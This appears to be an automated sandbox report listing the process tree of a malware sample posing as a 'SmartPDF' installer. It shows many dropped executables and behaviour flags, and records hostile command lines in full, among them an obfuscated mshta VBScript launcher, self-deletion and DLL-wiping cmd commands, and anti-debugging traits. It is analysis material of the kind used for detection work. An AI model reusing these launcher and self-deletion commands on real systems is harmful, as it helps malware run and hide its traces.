C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=216 /prefetch:26⤵PID:7104
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5704 /prefetch:16⤵PID:8764
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5284 /prefetch:16⤵PID:10212
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2228,9615376189825256236,3566482936338948323,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:16⤵PID:10968
-
C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5316 -
C:\Users\Admin\AppData\Roaming\6021749.exe"C:\Users\Admin\AppData\Roaming\6021749.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:6656 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 6656 -s 22967⤵
- Program crash
PID:9632 -
C:\Users\Admin\AppData\Roaming\4076929.exe"C:\Users\Admin\AppData\Roaming\4076929.exe"6⤵
- Suspicious behavior: SetClipboardViewer
PID:7160 -
C:\Users\Admin\AppData\Roaming\8571699.exe"C:\Users\Admin\AppData\Roaming\8571699.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:7336 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7336 -s 24527⤵
- Program crash
PID:7232 -
C:\Users\Admin\AppData\Roaming\1007247.exe"C:\Users\Admin\AppData\Roaming\1007247.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:6364 -
C:\Users\Admin\AppData\Roaming\8972505.exe"C:\Users\Admin\AppData\Roaming\8972505.exe"6⤵PID:5464
-
C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1848 -
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"6⤵PID:9212
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK7⤵
- Delays execution with timeout.exe
PID:2764 -
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"5⤵
- Executes dropped EXE
PID:5484 -
C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe" -a6⤵PID:6404
-
C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe"5⤵
- Executes dropped EXE
PID:4668 -
C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\LivelyScreenRecS3.0.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2140 -
C:\Users\Admin\AppData\Local\Temp\tmp9B95_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp9B95_tmp.exe"6⤵
- Adds Run key to start application
PID:2424 -
C:\Windows\SysWOW64\cmd.execmd /c cmd < Pei.xll7⤵PID:7092
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:4592
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^HlGEvpOWJOEhLjtMCMDsxiaRDGubGurupaMHjGXUgfrcGybsXUFbdIsmSOwQrdfCLnrzmbAVPJrtrXlnpOAMBGPBqjObFuRXZBJowtRmxKIHEjcVEDHgPDwyIBahIedISyy$" Passa.xll9⤵PID:9056
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comTra.exe.com o9⤵PID:9404
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o10⤵PID:9952
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Tra.exe.com o11⤵PID:5848
-
C:\Windows\SysWOW64\PING.EXEping localhost9⤵
- Runs ping.exe
PID:9556 -
C:\Windows\SysWOW64\dllhost.exedllhost.exe7⤵PID:8004
-
C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe"C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent5⤵
- Executes dropped EXE
PID:3200 -
C:\Users\Admin\AppData\Local\Temp\is-OMQKA.tmp\stats.tmp"C:\Users\Admin\AppData\Local\Temp\is-OMQKA.tmp\stats.tmp" /SL5="$30318,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe" /Verysilent6⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:1996 -
C:\Users\Admin\AppData\Local\Temp\is-1OMFC.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-1OMFC.tmp\Setup.exe" /Verysilent7⤵
- Suspicious behavior: EnumeratesProcesses
PID:6668 -
C:\Users\Admin\Documents\tqDpIYYNNMYoCL8uIbjApvoR.exe"C:\Users\Admin\Documents\tqDpIYYNNMYoCL8uIbjApvoR.exe"8⤵PID:6284
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6284 -s 2449⤵
- Program crash
PID:9828 -
C:\Users\Admin\Documents\x2ARhHhqm2nRHegZfup3BisP.exe"C:\Users\Admin\Documents\x2ARhHhqm2nRHegZfup3BisP.exe"8⤵
- Suspicious use of AdjustPrivilegeToken
PID:6408 -
C:\Users\Admin\AppData\Roaming\2514969.exe"C:\Users\Admin\AppData\Roaming\2514969.exe"9⤵PID:7116
-
C:\Users\Admin\AppData\Roaming\7924087.exe"C:\Users\Admin\AppData\Roaming\7924087.exe"9⤵PID:4020
-
C:\Users\Admin\AppData\Roaming\7836513.exe"C:\Users\Admin\AppData\Roaming\7836513.exe"9⤵PID:8896
-
C:\Users\Admin\AppData\Roaming\4093911.exe"C:\Users\Admin\AppData\Roaming\4093911.exe"9⤵PID:2940
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2940 -s 228810⤵
- Program crash
PID:7576 -
C:\Users\Admin\AppData\Roaming\2768738.exe"C:\Users\Admin\AppData\Roaming\2768738.exe"9⤵PID:9692
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9692 -s 219210⤵
- Program crash
PID:11004 -
C:\Users\Admin\Documents\ydAtqGo2PDD9NDxBiYsJj2Mx.exe"C:\Users\Admin\Documents\ydAtqGo2PDD9NDxBiYsJj2Mx.exe"8⤵PID:9044
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\ydAtqGo2PDD9NDxBiYsJj2Mx.exe"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF """" == """" for %N In ( ""C:\Users\Admin\Documents\ydAtqGo2PDD9NDxBiYsJj2Mx.exe"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )9⤵PID:4624
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\ydAtqGo2PDD9NDxBiYsJj2Mx.exe" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "" == "" for %N In ("C:\Users\Admin\Documents\ydAtqGo2PDD9NDxBiYsJj2Mx.exe" ) do taskkill -F /Im "%~nXN"10⤵PID:8388
-
C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exEKRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG11⤵PID:9608
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF ""-pA1IQsAATOS0kxrmeOcrgfdjncUG "" == """" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )12⤵PID:5564
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "-pA1IQsAATOS0kxrmeOcrgfdjncUG " == "" for %N In ("C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" ) do taskkill -F /Im "%~nXN"13⤵PID:9832
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\p_ZPP.J p12⤵PID:668
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F /Im "ydAtqGo2PDD9NDxBiYsJj2Mx.exe"11⤵
- Kills process with taskkill
PID:5220 -
C:\Users\Admin\Documents\HSyCeLswLtnKLr1JGGXchIA7.exe"C:\Users\Admin\Documents\HSyCeLswLtnKLr1JGGXchIA7.exe"8⤵PID:8872
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8872 -s 2809⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:8304 -
C:\Users\Admin\Documents\vFJ5zaOKgEWSsvuiKkXj8fs8.exe"C:\Users\Admin\Documents\vFJ5zaOKgEWSsvuiKkXj8fs8.exe"8⤵PID:8764
-
C:\Users\Admin\Documents\LQnvx0K4Czi8NT_uBBKo8mpM.exe"C:\Users\Admin\Documents\LQnvx0K4Czi8NT_uBBKo8mpM.exe"8⤵PID:8564
-
C:\Users\Admin\Documents\LQnvx0K4Czi8NT_uBBKo8mpM.exe"C:\Users\Admin\Documents\LQnvx0K4Czi8NT_uBBKo8mpM.exe" -u9⤵PID:6068
-
C:\Users\Admin\Documents\sxtmhvOTqNIypL0STL1xIRca.exe"C:\Users\Admin\Documents\sxtmhvOTqNIypL0STL1xIRca.exe"8⤵PID:8548
-
C:\Users\Admin\Documents\jnw5PVddGjTO1yegLOoJ3Q8E.exe"C:\Users\Admin\Documents\jnw5PVddGjTO1yegLOoJ3Q8E.exe"8⤵PID:8540
-
C:\Users\Admin\AppData\Roaming\3736358.exe"C:\Users\Admin\AppData\Roaming\3736358.exe"9⤵PID:9208
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 9208 -s 227610⤵
- Program crash
PID:5576 -
C:\Users\Admin\AppData\Roaming\4050658.exe"C:\Users\Admin\AppData\Roaming\4050658.exe"9⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:716 -
C:\Users\Admin\AppData\Roaming\1067481.exe"C:\Users\Admin\AppData\Roaming\1067481.exe"9⤵PID:9308
-
C:\Users\Admin\AppData\Roaming\2472343.exe"C:\Users\Admin\AppData\Roaming\2472343.exe"9⤵PID:10168
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10168 -s 150410⤵
- Program crash
PID:6436 -
C:\Users\Admin\AppData\Roaming\1180844.exe"C:\Users\Admin\AppData\Roaming\1180844.exe"9⤵PID:9980
-
C:\Users\Admin\Documents\pSz9cMYbBWKKlcYxPIQ9ZUGa.exe"C:\Users\Admin\Documents\pSz9cMYbBWKKlcYxPIQ9ZUGa.exe"8⤵PID:8504
-
C:\Users\Admin\Documents\ipEAPRT0zTvfXX_Xlr21VYec.exe"C:\Users\Admin\Documents\ipEAPRT0zTvfXX_Xlr21VYec.exe"8⤵PID:8384
-
C:\Users\Admin\Documents\fPH64L081kvPrhdQP_rmx0N0.exe"C:\Users\Admin\Documents\fPH64L081kvPrhdQP_rmx0N0.exe"8⤵PID:8340
-
C:\Users\Admin\Documents\ql_KNI31XxIlq1zxg9cGzU8I.exe"C:\Users\Admin\Documents\ql_KNI31XxIlq1zxg9cGzU8I.exe"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3660 -
C:\Users\Admin\Documents\IUTPOg9NO_UN3c_h05nFa9Ut.exe"C:\Users\Admin\Documents\IUTPOg9NO_UN3c_h05nFa9Ut.exe"8⤵PID:6840
-
C:\Users\Admin\Documents\b_sIp1i9t84MS7P5nKEJxyEy.exe"C:\Users\Admin\Documents\b_sIp1i9t84MS7P5nKEJxyEy.exe"8⤵
- Executes dropped EXE
PID:1420 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1420 -s 2809⤵
- Program crash
PID:716 -
C:\Users\Admin\Documents\xjikSqBs9p71niqBEOVxN0cY.exe"C:\Users\Admin\Documents\xjikSqBs9p71niqBEOVxN0cY.exe"8⤵
- Drops file in Program Files directory
PID:2996 -
C:\Users\Admin\Documents\AaYvd2_to8oBWRCXQKJE1FhH.exe"C:\Users\Admin\Documents\AaYvd2_to8oBWRCXQKJE1FhH.exe"8⤵PID:3764
-
C:\Users\Admin\Documents\AaYvd2_to8oBWRCXQKJE1FhH.exe"C:\Users\Admin\Documents\AaYvd2_to8oBWRCXQKJE1FhH.exe"9⤵PID:3384
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im AaYvd2_to8oBWRCXQKJE1FhH.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\AaYvd2_to8oBWRCXQKJE1FhH.exe" & del C:\ProgramData\*.dll & exit10⤵PID:5128
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im AaYvd2_to8oBWRCXQKJE1FhH.exe /f11⤵
- Kills process with taskkill
PID:9840 -
C:\Windows\SysWOW64\timeout.exetimeout /t 611⤵
- Delays execution with timeout.exe
PID:10556 -
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe"C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe"8⤵
- Suspicious use of SetThreadContext
PID:7688 -
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:2192
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:6384
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7352
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:936
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9584
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6464 -
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:6960
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:3380
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8356
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8516
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8616
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9108
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8832
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:4072
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8380
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10696
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:11040
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9468
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10520
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:11056
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5824
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:11104
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:4156
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:2476
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10824
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7148
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7512
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5184
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:1444
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5460
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9496
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:6660
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10332
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7536
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10992
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:252
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:6620
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9292
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8572
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10108
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9484
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9692
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10248
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9364
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:6660
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8596
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:2832
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7320
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10652
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:6904
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:4216
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9856
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5412
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8228
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9316
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:764
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10296
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:1584
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:4016
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10472
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8156
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:9720
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:10556
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5488
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:5832
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:7868
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:8196
-
C:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exeC:\Users\Admin\Documents\PvWSUKT7mAH6NZ1rCTu4bLlN.exe9⤵PID:11252
-
